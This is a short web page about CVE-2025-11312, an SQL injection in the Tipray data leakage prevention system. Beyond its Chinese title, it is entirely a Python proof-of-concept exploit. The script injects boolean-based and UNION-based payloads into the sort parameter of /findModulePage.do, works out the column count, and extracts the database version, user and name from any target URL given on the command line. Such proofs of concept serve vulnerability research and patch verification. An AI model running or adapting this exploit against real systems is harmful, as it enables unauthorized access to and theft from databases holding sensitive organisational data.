CVE-2025-11312：天锐数据泄露防护系统SQL注入漏洞

# CVE-2025-11312 - Tipray DLP System SQL Injection PoC # Vulnerability: SQL Injection in findModulePage.do via sort parameter # Affected: Tipray Data Leakage Prevention System v1.0 import requests import sys TARGET_URL = "http://target-host" INJECTION_ENDPOINT = "/findModulePage.do" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection vulnerability in sort parameter of findModulePage function. """ url = target_url.rstrip('/') + INJECTION_ENDPOINT # Construct malicious sort parameter with SQL injection payload params = { "sort": injection_payload, # Additional parameters may be required depending on the endpoint "page": "1", "rows": "10" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Preview: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_boolean_based_sqli(target_url): """Test for boolean-based blind SQL injection""" # True condition payload true_payload = "id ASC, (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END) -- " # False condition payload false_payload = "id ASC, (SELECT CASE WHEN (1=2) THEN 1 ELSE 1/0 END) -- " true_resp = exploit_sql_injection(target_url, true_payload) false_resp = exploit_sql_injection(target_url, false_payload) if true_resp and false_resp and true_resp != false_resp: print("[+] Boolean-based SQL Injection confirmed!") return True return False def test_union_based_sqli(target_url): """Test for UNION-based SQL injection""" # Determine number of columns first for i in range(1, 11): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"id; UNION SELECT {cols}-- " resp = exploit_sql_injection(target_url, payload) if resp and "error" not in resp.lower(): print(f"[+] UNION-based SQL Injection possible with {i} columns") return i return None def extract_database_info(target_url): """Extract database version and current user information""" payload = "id; UNION SELECT 1,version(),user(),database()-- " resp = exploit_sql_injection(target_url, payload) return resp if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-11312 against: {target}") # Test for boolean-based injection if test_boolean_based_sqli(target): print("[*] Attempting to extract database information...") extract_database_info(target)